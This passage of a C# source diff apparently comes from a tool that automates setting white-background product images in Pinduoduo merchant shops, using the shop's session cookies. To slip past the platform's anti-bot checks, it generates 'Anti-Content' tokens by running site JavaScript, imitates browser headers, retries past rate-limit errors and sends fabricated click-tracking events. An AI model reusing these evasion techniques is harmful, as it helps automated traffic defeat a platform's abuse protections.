(HttpWebResponse)webRequest.GetResponse(); + if (httpWebResponse != null) + { + if (string.IsNullOrEmpty(responseContent)) + responseContent = ReadResponsex(httpWebResponse); + httpWebResponse.Close(); + } + return responseContent; + } + public void SetFalseWhiteBaseMap() + { + CheckDic.Clear(); + string url = "https://mms.pinduoduo.com/giraffe/mms/material/queryList"; + string refere = "https://mms.pinduoduo.com/goods/goods_materials"; + string data = "{\"page\":#page#,\"page_size\":50,\"check_status\":3,\"type\":1}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", "1"), Shop.Cookies); + if (string.IsNullOrEmpty(html)) + return; + int allCount = BaseRegex.GetIntJson(ref html, "total"); + int page = allCount / 50 + (allCount % 50 > 0 ? 1 : 0); + for (int i = 0; i < page; i++) + { + while (isWait) + { + Thread.Sleep(3000); + } + if (isStop) + { + return; + } + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data.Replace("#page#", (i + 1).ToString()), Shop.Cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(10 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data.Replace("#page#", (i + 1).ToString()), Shop.Cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{[^}]+?\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + var item = m[j].Groups[0].Value; + string goods_id = BaseRegex.GetStringJson(ref item, "goods_id"); + CheckDic.Add(goods_id, 1); + LogSave.Add(Name, "店铺" + Shop.ShopName + "获取驳回白底图商品" + goods_id); + } + Thread.Sleep(1000); + } + GetCheck(); + } + public void setShopWhiteBase(Dictionary items) + { + var goods = items.ToList(); + //上传白底图成功后,到店铺后台对每个商品设置白底图 + for (int i = 0; i < goods.Count; i++) + { + var good = goods[i].Key; + //后台店铺 + string url = "https://mms.pinduoduo.com/garner/mms/file/list"; + string refere = "https://mms.pinduoduo.com/goods/goods_materials"; + string data = "{\"file_type_desc\":\"pic\",\"file_name\":\"" + good + "\",\"order_by\":\"create_time desc\",\"page\":1,\"page_size\":10,\"check_status_list\":[2]}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, Shop.Cookies); + var mc = BaseRegex.GetMatchRegex(ref html, @"\{[^}]+?""extra_info"""); + if (mc != null && mc.Count >= 1) + { + string imgUrl = BaseRegex.GetStringJson(ref html, "url"); + long id = BaseRegex.GetLongJson(ref html, "id"); + string urlx = "https://mms.pinduoduo.com/giraffe/mms/material/create"; + string datax = "{\"content\":\"" + imgUrl + "\",\"goods_id\":" + good + ",\"type\":1,\"mall_file_id\":" + id + ",\"source\":4}"; + html = Request_mms_pinduoduo_com(urlx, urlx, Shop.Cookies, datax, getAnti0aon());// GetPostTaobaoHtml.GetJsonPost(urlx, urlx, true, datax, Shop.Cookies); + //datax = "{\"content\":\"" + imgUrl + "\",\"goods_id\":" + good + ",\"type\":3,\"mall_file_id\":" + id + ",\"source\":4}"; + //string htmlx = Request_mms_pinduoduo_com(urlx, urlx, Shop.Cookies, datax, getAnti0aon()); + if (html.Contains("操作太过频繁,请稍后再试!")) + { + Thread.Sleep(2000); + html = Request_mms_pinduoduo_com(urlx, urlx, Shop.Cookies, datax, getAnti0aon()); + } + if (html.Contains("\"success\":true")) + { + if (!WhiteBaseMap.ShopCount.ContainsKey(Shop.ShopName)) + { + WhiteBaseMap.ShopCount.Add(Shop.ShopName, 1); + } + else + { + WhiteBaseMap.ShopCount[Shop.ShopName] = WhiteBaseMap.ShopCount[Shop.ShopName] + 1; + } + WhiteMapObject white = new WhiteMapObject(); + white.shopName = Shop.ShopName; + white.setWhiteCount = WhiteBaseMap.ShopCount[Shop.ShopName]; + white.message = "设置商品" + good + "白底图成功。"; + WhiteBaseMap.whiteMapObjectList.Add(white); + LogSave.Add(Name, "店铺" + Shop.ShopName + "后台上传商品" + good + "白底图成功。"); + } + else + { + WhiteMapObject white = new WhiteMapObject(); + white.shopName = Shop.ShopName; + white.message = "设置商品" + good + "白底图失败。"; + WhiteBaseMap.whiteMapObjectList.Add(white); + LogSave.Add(Name, "店铺" + Shop.ShopName + "后台上传商品" + good + "白底图失败。"); + } + Thread.Sleep(2000); + } + } + Thread.Sleep(3000); + for (int i = 0; i < goods.Count; i++) + { + string url = "https://mms.pinduoduo.com/giraffe/mms/material/queryList"; + string refere = "https://mms.pinduoduo.com/goods/goods_materials"; + string data = "{\"page\":1,\"page_size\":9,\"goods_id\":" + goods[i].Key + ",\"check_status\":3,\"type\":1}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + string check_comment = BaseRegex.GetStringJson(ref html, "check_comment"); + if (!string.IsNullOrEmpty(check_comment)) + { + if (CheckDic.ContainsKey(goods[i].Key)) + { + CheckDic[goods[i].Key] = CheckDic[goods[i].Key] + 1; + } + else + { + CheckDic.Add(goods[i].Key, 1); + } + } + + } + } + + public static string getAnti0aon() + { + string anti = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.PinDuoDUo_0ao); + anti = jsEngine.CallFunction("get_anti", "").ToString(); + try + { anti = "0ao" + anti.Substring(3); } + catch { } + } + return anti; + } + + public static string Request_mms_pinduoduo_com(string url, string referer, string cookie, string data, string antiContent, IWebProxy proxy = null) + { + string responseText = ""; + HttpWebResponse response = null; + + try + { + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon"); + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.KeepAlive = true; + request.Accept = "application/json"; + //request.Headers.Add("Anti-Content", @"0aoAfxnUgOQoU9dVEHIuLKYezEfQ51QpOcKVg_S0aww9S8dseM_tTxYptgFssmH7wfRCpRvfISyXp-bZ8hcq7ux0Z1kvhFUkfIMk7EsEefUAZS7Jv1vYHm1Cplb4GZ43dSFtKu19dO7snIyL-VRj0JFy0ETKDkf1EdaPbWEu22sZ4s1duGD6WO9lgeS-oTsEwwa9ohcX2E_DG2PggPHqIuxcN_tIthAewaqklSPvPmFwzYxrlo256wd2i74SMvTzGTB--UkZ3gPl5t6K-6IVCz1MDD7WDS9HeoGm4RBmyd0LIpXG400lOfKBvPh-z09PL3_hjiL1KiBCENrs1ANosN35LJ8zhlCRi0YrDxphd8LGJFWDG0LrARGRuMW7d3d4IlWlEKFFMiucGGNlIZqDyExDIMny-8T-KY8fJ8BnNuzWyr"); + request.Headers.Add("Anti-Content", antiContent); + //request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"; + request.UserAgent = BaseClass.ChromeUserAgent; + request.ContentType = "application/json;charset=UTF-8"; + request.Headers.Add("Origin", @"https://mms.pinduoduo.com"); + request.Headers.Add("Sec-Fetch-Site", @"same-origin"); + request.Headers.Add("Sec-Fetch-Mode", @"cors"); + request.Headers.Add("Sec-Fetch-Dest", @"empty"); + request.Referer = referer; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookie); + if (proxy != null) + request.Proxy = proxy; + + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + string body = data; + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else responseText = "error," + e.Message; + } + catch (Exception ex) + { + responseText = "error," + ex.Message; + } + if (response != null) + { + if (string.IsNullOrEmpty(responseText)) + responseText = ReadResponsex(response); + response.Close(); + } + + Thread.Sleep(50 + Randomx.GetId(100)); + + return responseText; + } + public static string Request_mms_pinduoduo_com(string url, string referer, string cookie, string data, string antiContent, string userAgent, IWebProxy proxy = null) + { + string responseText = ""; + HttpWebResponse response = null; + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.KeepAlive = true; + request.Accept = "application/json"; + request.Headers.Add("Anti-Content", antiContent); + request.UserAgent = userAgent; + request.ContentType = "application/json;charset=UTF-8"; + request.Headers.Add("Origin", @"https://mms.pinduoduo.com"); + request.Headers.Add("Sec-Fetch-Site", @"same-origin"); + request.Headers.Add("Sec-Fetch-Mode", @"cors"); + request.Headers.Add("Sec-Fetch-Dest", @"empty"); + request.Referer = referer; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookie); + if (proxy != null) + request.Proxy = proxy; + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(data); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else responseText = "error," + e.Message; + } + catch (Exception ex) + { + responseText = "error," + ex.Message; + } + if (response != null) + { + if (string.IsNullOrEmpty(responseText)) + responseText = ReadResponsex(response); + response.Close(); + } + + Thread.Sleep(50 + Randomx.GetId(100)); + + return responseText; + } + + /// + /// 读取返回值 + /// + /// + /// + public static string ReadResponsex(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + + public void setShopWhiteBase2(Dictionary items) + { + var goods = items.ToList(); + //上传白底图成功后,到店铺后台对每个商品设置白底图 + for (int i = 0; i < goods.Count; i++) + { + var good = goods[i].Key; + //后台店铺 + string url = "https://mms.pinduoduo.com/garner/mms/file/list"; + string refere = "https://mms.pinduoduo.com/goods/goods_materials"; + string data = "{\"file_type_desc\":\"pic\",\"file_name\":\"" + good + "\",\"order_by\":\"create_time desc\",\"page\":1,\"page_size\":10,\"check_status_list\":[2]}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, Shop.Cookies); + var mc = BaseRegex.GetMatchRegex(ref html, @"\{[^}]+?""extra_info"""); + if (mc != null && mc.Count >= 1) + { + string imgUrl = BaseRegex.GetStringJson(ref html, "url"); + long id = BaseRegex.GetLongJson(ref html, "id"); + string urlx = "https://mms.pinduoduo.com/giraffe/mms/material/create"; + string datax = "{\"content\":\"" + imgUrl + "\",\"goods_id\":" + good + ",\"type\":1,\"mall_file_id\":" + id + ",\"source\":4}"; + html = GetPostTaobaoHtml.GetJsonPost(urlx, urlx, true, datax, Shop.Cookies); + datax = "{\"content\":\"" + imgUrl + "\",\"goods_id\":" + good + ",\"type\":6,\"mall_file_id\":" + id + ",\"source\":4}"; + string htmlx = GetPostTaobaoHtml.GetJsonPost(urlx, urlx, true, datax, Shop.Cookies); + if (html.Contains("\"success\":true")) + { + if (!WhiteBaseMap.ShopCount.ContainsKey(Shop.ShopName)) + { + WhiteBaseMap.ShopCount.Add(Shop.ShopName, 1); + } + else + { + WhiteBaseMap.ShopCount[Shop.ShopName] = WhiteBaseMap.ShopCount[Shop.ShopName] + 1; + } + WhiteMapObject white = new WhiteMapObject(); + white.shopName = Shop.ShopName; + white.setWhiteCount = WhiteBaseMap.ShopCount[Shop.ShopName]; + white.message = "设置商品" + good + "白底图成功。"; + WhiteBaseMap.whiteMapObjectList.Add(white); + LogSave.Add(Name, "店铺" + Shop.ShopName + "后台上传商品" + good + "白底图成功。"); + } + else + { + WhiteMapObject white = new WhiteMapObject(); + white.shopName = Shop.ShopName; + white.message = "设置商品" + good + "白底图失败。"; + WhiteBaseMap.whiteMapObjectList.Add(white); + LogSave.Add(Name, "店铺" + Shop.ShopName + "后台上传商品" + good + "白底图失败。"); + } + Thread.Sleep(2000); + } + } + Thread.Sleep(3000); + for (int i = 0; i < goods.Count; i++) + { + string url = "https://mms.pinduoduo.com/giraffe/mms/material/queryList"; + string refere = "https://mms.pinduoduo.com/goods/goods_materials"; + string data = "{\"page\":1,\"page_size\":9,\"goods_id\":" + goods[i].Key + ",\"check_status\":3,\"type\":1}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + string check_comment = BaseRegex.GetStringJson(ref html, "check_comment"); + if (!string.IsNullOrEmpty(check_comment)) + { + if (CheckDic.ContainsKey(goods[i].Key)) + { + CheckDic[goods[i].Key] = CheckDic[goods[i].Key] + 1; + } + else + { + CheckDic.Add(goods[i].Key, 1); + } + } + + } + } + + public void UpdateWhiteBaseMapModel() + { + while (isWait) + { + Thread.Sleep(3000); + } + if (isStop) + { + return; + } + isFinish = false; + var clist = CheckDic.ToList(); + for (int i = 0; i < clist.Count; i++) + { + while (isWait) + { + Thread.Sleep(3000); + } + if (isStop) + return; + var good = clist[i].Key; + if (string.IsNullOrEmpty(fixedImageUrlAndId)) + { + byte[] img; + GetPostTaobaoHtml.DownLoadImage(upUrl, out img); + string url = "https://mms.pinduoduo.com/galerie/business/get_signature"; + string refere = "https://mms.pinduoduo.com/goods/goods_materials"; + string data = "{\"bucket_tag\":\"mms-material-img\"}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies);//"{\"bucket_tag\":\"pdd_goods\"}" {\"bucket_tag\":\"pdd_mms\"} + if (html.Contains("非法请求")) + { + LogSave.Add(Name, "店铺" + Shop.ShopName + ",上传图片出现非法请求限制。"); + WhiteMapObject white = new WhiteMapObject(); + white.shopName = Shop.ShopName; + white.message = "上传图片出现非法请求限制。"; + WhiteBaseMap.whiteMapObjectList.Add(white); + return; + } + string sign = BaseRegex.GetStringJson(ref html, "signature"); + url = "https://file.pinduoduo.com/v3/store_image"; + refere = "https://mms.pinduoduo.com/goods/goods_materials"; + try + { + string fileName = Randomx.GetId(100000) + ".jpg"; + html = HttpPostData(url, 30000, "image", fileName, img, sign, refere); + string imgUrl = BaseRegex.GetStringJson(ref html, "url"); + if (imgUrl.Contains("null")) + imgUrl = ""; + bool falg = true; + Again: + string fmageUrl = Randomx.GetId(100000).ToString(); + DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)); + long time = (long)(DateTime.Now - startTime).TotalMilliseconds; + url = "https://mms.pinduoduo.com/garner/mms/file/create"; + data = "{\"url\":\"" + imgUrl + "\",\"name\":\"" + fmageUrl + "\",\"extension\":\"jpeg\",\"create_time\":" + time + "}"; + string code = GetAntiContent0ao_v2(); + html = Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, code); + url = "https://mms.pinduoduo.com/garner/mms/file/list"; + data = "{\"order_by\":\"create_time desc\",\"page\":1,\"page_size\":10,\"file_name\":\"" + fmageUrl + "\",\"file_type_desc\":\"pic\",\"check_status_list\":[2]}"; + html = Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, getAnti0aon()); + fixedImageUrl = BaseRegex.GetStringJson(ref html, "url"); + fixedId = BaseRegex.GetLongJson(ref html, "id"); + if (string.IsNullOrEmpty(fixedImageUrl)) + { + Thread.Sleep(1000); + html = Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, getAnti0aon()); + fixedImageUrl = BaseRegex.GetStringJson(ref html, "url"); + fixedId = BaseRegex.GetLongJson(ref html, "id"); + } + if (string.IsNullOrEmpty(fixedImageUrl) && falg) + { + Thread.Sleep(2000); + falg = false; + goto Again; + } + if (!WhiteBaseMap.ShopFixedImage.ContainsKey(Shop.ShopName)) + { + WhiteBaseMap.ShopFixedImage.Add(Shop.ShopName, fixedImageUrl + "@" + fixedId); + } + else + { + WhiteBaseMap.ShopFixedImage[Shop.ShopName] = fixedImageUrl + "@" + fixedId; + } + + fixedImageUrlAndId = WhiteBaseMap.ShopFixedImage[Shop.ShopName]; + SaveWhiteFixedImage(); + } + catch + { + } + } + else + { + fixedId = long.Parse(fixedImageUrlAndId.Split('@')[1]); + fixedImageUrl = fixedImageUrlAndId.Split('@')[0]; + } + string urlx = "https://mms.pinduoduo.com/giraffe/mms/material/create"; + string datax = "{\"content\":\"" + fixedImageUrl + "\",\"goods_id\":" + good + ",\"type\":1,\"mall_file_id\":" + fixedId + ",\"source\":4}"; + string htmlx = Request_mms_pinduoduo_com(urlx, urlx, Shop.Cookies, datax, getAnti0aon()); + if (htmlx.Contains("图片已被图片空间删除")) + { + fixedImageUrlAndId = ""; + } + if (htmlx.Contains("\"success\":true")) + { + if (!WhiteBaseMap.ShopCount.ContainsKey(Shop.ShopName)) + { + WhiteBaseMap.ShopCount.Add(Shop.ShopName, 1); + } + else + { + WhiteBaseMap.ShopCount[Shop.ShopName] = WhiteBaseMap.ShopCount[Shop.ShopName] + 1; + } + WhiteMapObject white = new WhiteMapObject(); + white.shopName = Shop.ShopName; + white.setWhiteCount = WhiteBaseMap.ShopCount[Shop.ShopName]; + white.message = "设置商品" + good + "白底图成功。"; + WhiteBaseMap.whiteMapObjectList.Add(white); + LogSave.Add(Name, "店铺" + Shop.ShopName + "后台上传商品" + good + "白底图成功。"); + } + Thread.Sleep(2000); + } + isFinish = true; + } + public void GetCheck() + { + if (WhiteBaseMap.cboSetModel == "固定白底图") + { + GetFixeImage(); + UpdateWhiteBaseMapModel(); + return; + } + Dictionary items = new Dictionary(); + string pjtoken = ""; + string cookies = ""; + string api_uid = BaseRegex.GetMatchRegexString(ref Shop.Cookies, "api_uid=([^;]+?);"); + string _nano_fp = BaseRegex.GetMatchRegexString(ref Shop.Cookies, "_nano_fp=([^;]+?);"); + if (WhiteBaseMap.ShopToken.ContainsKey(Shop.ShopName)) + { + pjtoken = WhiteBaseMap.ShopToken[Shop.ShopName]; + } + else + { + GetWhiteBaseMap(); + } + for (int i = 1; i < 4; i++) + { + var clist = CheckDic.ToList(); + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + for (int j = 0; j < clist.Count; j++) + { + var good = clist[j]; + string url = "https://aid.pinduoduo.com/api/banner-intelligent/image/list"; + string refere = "https://aid.pinduoduo.com/tools/matting?origin=goods_material"; + string data = "{\"keyword\":\"" + good.Key + "\",\"pageNum\":1,\"pageSize\":20}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + if (html.Contains("UNVALID") || html.Contains("SIGN") || html.Contains("NO_TOKEN")) + { + pjtoken = GetWhiteBaseMap(); + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + if (html.Contains("UNVALID") || html.Contains("SIGN") || html.Contains("NO_TOKEN")) + { + pjtoken = GetWhiteBaseMap(); + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"""imageUrl"":""([\w\W]+?)"""); + if (m != null && m.Count > 1) + { + int randx = good.Value; + if (randx > m.Count - 1 || randx > 3) + { + continue; + } + if (randx != i) + continue; + var item = m[randx].Groups[1].Value; + if (items.ContainsKey(good.Key)) + continue; + items.Add(good.Key, item); + if (items.Count == 20)//网页默认抠图最大值20个,测试可以上传200个抠图,但上传到图片空间接口,会发生500错误。 + { + GetItems(items, cookies); + if (isInvald) + break; + setShopWhiteBase2(items); + items.Clear(); + } + } + Thread.Sleep(200); + } + if (items.Count > 0) + { + GetItems(items, cookies); + if (isInvald) + return; + setShopWhiteBase2(items); + items.Clear(); + } + } + } + public Dictionary CheckDic = new Dictionary(); + public static string codex = ""; + public int codeCount = 0; + /// + /// 制作及上传白底图到图片空间 + /// + /// + /// + public void GetItems(Dictionary items, string cookies) + { + string api_uid = BaseRegex.GetMatchRegexString(ref Shop.Cookies, "api_uid=([^;]+?);"); + string _nano_fp = BaseRegex.GetMatchRegexString(ref Shop.Cookies, "_nano_fp=([^;]+?);"); + string refere = "https://aid.pinduoduo.com/tools/matting?origin=goods_material"; + StringBuilder pids = new StringBuilder(); + var itemlist = items.ToList(); + for (int i = 0; i < itemlist.Count; i++) + { + pids.Append(",\"" + itemlist[i].Value + "\""); + } + if (string.IsNullOrEmpty(codex) || codeCount == 2) + { + codeCount++; + code(); + } + string VerifyAuthToken = ""; + if (!string.IsNullOrEmpty(Shop.pjtToken)) + VerifyAuthToken = BaseRegex.GetMatchRegexString(ref Shop.pjtToken, "VerifyAuthToken=([^;]+?);"); + //白底图制作抠图 + string url = "https://aid.pinduoduo.com/api/banner-intelligent/matting/batch"; + string data = "[" + pids.ToString(1, pids.Length - 1) + "]"; + string html = ""; + if (!string.IsNullOrEmpty(VerifyAuthToken)) + html = GetPostTaobaoHtml.UploadTaobaoPostWhite(url, refere, true, data, cookies + ";VerifyAuthToken=" + VerifyAuthToken, codex, VerifyAuthToken);//GetPostTaobaoHtml.GetJsonPost(url, url, true, data, Shop.Cookies); + else + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies, codex);//GetPostTaobaoHtml.GetJsonPost(url, url, true, data, Shop.Cookies); + if (html.Contains("UNVALID") || html.Contains("SIGN")) + { + string pjtoken = GetWhiteBaseMap(); + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies, codex); + } + if (html.Contains("请滑动验证码进行验证!")) + { + isInvald = true; + WhiteMapObject white = new WhiteMapObject(); + white.shopName = Shop.ShopName; + white.message = "出现滑动验证码,请手动点击店铺列跳转,到店铺后台处理。"; + WhiteBaseMap.whiteMapObjectList.Add(white); + return; + } + if (html.Contains("INVALID_REQUEST")) + { + codeCount = 1; + code(); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies, codex); + } + if (html.Contains("INVALID_REQUEST")) + { + items.Clear(); + isInvald = true; + LogSave.Add(Name, "店铺" + Shop.ShopName + "今日制作白底图已达到上限,请明日重试"); + WhiteMapObject white = new WhiteMapObject(); + white.shopName = Shop.ShopName; + white.message = "店铺今日制作白底图已达到上限,请明日重试。"; + WhiteBaseMap.whiteMapObjectList.Add(white); + return; + } + string temp = ""; + var m = BaseRegex.GetMatchRegex(ref html, @"\{[^}]+?\}"); + for (int i = 0; i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + string oldUrl = BaseRegex.GetStringJson(ref list, "originUrl"); + string image = BaseRegex.GetStringJson(ref list, "url"); + for (int j = 0; j < itemlist.Count; j++) + { + if (itemlist[j].Value == oldUrl) + { + temp += ",{\"imageUrl\":\"" + image + "\",\"goodsId\":\"" + itemlist[j].Key + "\"}"; + } + } + } + long requestAt = GetUnixSecondTimeStamp(DateTime.Now) + BaseClass.TimeDifferent; + url = "https://aid.pinduoduo.com/api/banner-intelligent/log/tracker"; + data = "{\"platform\":\"aid\",\"requestAt\":" + requestAt + ",\"requestTab\":\"14_mms-白底图制作\",\"requestOperation\":\"click\",\"requestUser\":" + Shop.MallId + ",\"requestParams\":" + m.Count + ",\"memo\":\"生成\"}"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + Thread.Sleep(3 * 1000); + LogSave.Add(Name, "店铺" + Shop.ShopName + "正在上传白底图,请等待"); + url = "https://aid.pinduoduo.com/api/banner-intelligent/matting/save"; + data = "{\"images\":[" + temp.Substring(1, temp.Length - 1) + "],\"white\":true}"; + //html = GetPostTaobaoHtml.UploadTaobaoPostWhite(url, refere, true, data, cookies + ";VerifyAuthToken=" + VerifyAuthToken, codex, VerifyAuthToken); + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + if (html.Contains("UNVALID") || html.Contains("SIGN")) + { + string pjtoken = GetWhiteBaseMap(); + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + } + if (html.Contains("\"success\":true,")) + { + LogSave.Add(Name, "店铺" + Shop.ShopName + "上传白底图成功"); + } + else + { + Thread.Sleep(5000); + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + } + requestAt = GetUnixSecondTimeStamp(DateTime.Now) + BaseClass.TimeDifferent; + url = "https://aid.pinduoduo.com/api/banner-intelligent/log/tracker"; + data = "{\"platform\":\"aid\",\"requestAt\":" + requestAt + ",\"requestTab\":\"14_mms-白底图制作_白底图\",\"requestOperation\":\"click\",\"requestUser\":" + Shop.MallId + ",\"requestParams\":" + m.Count + ",\"memo\":\"提交\"}"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + Thread.Sleep(6 * 1000); + } + public void SetWhiteBaseMap2() + { + while (isWait) + { + Thread.Sleep(3000); + } + if (isStop) + { + return; + } + string pjtoken = ""; + string cookies = ""; + string api_uid = BaseRegex.GetMatchRegexString(ref Shop.Cookies, "api_uid=([^;]+?);"); + string _nano_fp = BaseRegex.GetMatchRegexString(ref Shop.Cookies, "_nano_fp=([^;]+?);"); + if (WhiteBaseMap.ShopToken.ContainsKey(Shop.ShopName)) + { + pjtoken = WhiteBaseMap.ShopToken[Shop.ShopName]; + } + else + { + GetWhiteBaseMap(); + } + goodsList.Clear(); + GetWhiteBaseMapGoods(); + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + for (int i = 0; i < goodsList.Count; i++) + { + while (isWait) + { + Thread.Sleep(3000); + } + if (isStop) + { + return; + } + var good = goodsList[i]; + string url = "https://aid.pinduoduo.com/api/banner-intelligent/image/list"; + string refere = "https://aid.pinduoduo.com/tools/matting?origin=goods_material"; + string data = "{\"keyword\":\"" + good + "\",\"pageNum\":1,\"pageSize\":20}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + if (html.Contains("UNVALID") || html.Contains("SIGN")) + { + pjtoken = GetWhiteBaseMap(); + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + if (html.Contains("UNVALID") || html.Contains("SIGN")) + { + pjtoken = GetWhiteBaseMap(); + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"""imageUrl"":""([\w\W]+?)"""); + if (m != null && m.Count > 1) + { + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(0, m.Count - 1); + var item = m[randx].Groups[1].Value; + url = "https://aid.pinduoduo.com/api/banner-intelligent/matting/batch"; + data = "[\"" + item + "\"]"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies, UploadPinduoduoMain.AntiContent);//GetPostTaobaoHtml.GetJsonPost(url, url, true, data, Shop.Cookies); + if (html.Contains("UNVALID") || html.Contains("SIGN")) + { + pjtoken = GetWhiteBaseMap(); + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies, UploadPinduoduoMain.AntiContent); + } + if (html.Contains("INVALID_REQUEST")) + { + + } + string imageUrl = BaseRegex.GetStringJson(ref html, "url"); + url = "https://aid.pinduoduo.com/api/banner-intelligent/matting/save"; + data = "{\"images\":[{\"imageUrl\":\"" + imageUrl + "\",\"goodsId\":\"" + good + "\"}],\"white\":true}"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + if (html.Contains("UNVALID") || html.Contains("SIGN")) + { + pjtoken = GetWhiteBaseMap(); + cookies = "ptj_token=" + pjtoken + ";api_uid=" + api_uid + ";_nano_fp=" + _nano_fp + ";"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, cookies); + } + //后台店铺 + url = "https://mms.pinduoduo.com/garner/mms/file/list"; + refere = "https://mms.pinduoduo.com/goods/goods_materials"; + data = "{\"file_type_desc\":\"pic\",\"file_name\":\"" + good + "\",\"order_by\":\"create_time desc\",\"page\":1,\"page_size\":10,\"check_status_list\":[2]}"; + html = GetPostTaobaoHtml.GetJsonPost(url, url, true, data, Shop.Cookies); + var mc = BaseRegex.GetMatchRegex(ref html, @"\{[^}]+?""extra_info"""); + if (mc != null && mc.Count >= 1) + { + string imgUrl = BaseRegex.GetStringJson(ref html, "url"); + long id = BaseRegex.GetLongJson(ref html, "id"); + string urlx = "https://mms.pinduoduo.com/giraffe/mms/material/create"; + string datax = "{\"content\":\"" + imgUrl + "\",\"goods_id\":" + good + ",\"type\":1,\"mall_file_id\":" + id + ",\"source\":4}"; + html = GetPostTaobaoHtml.GetJsonPost(urlx, urlx, true, datax, Shop.Cookies); + datax = "{\"content\":\"" + imgUrl + "\",\"goods_id\":" + good + ",\"type\":6,\"mall_file_id\":" + id + ",\"source\":4}"; + string htmlx = GetPostTaobaoHtml.GetJsonPost(urlx, urlx, 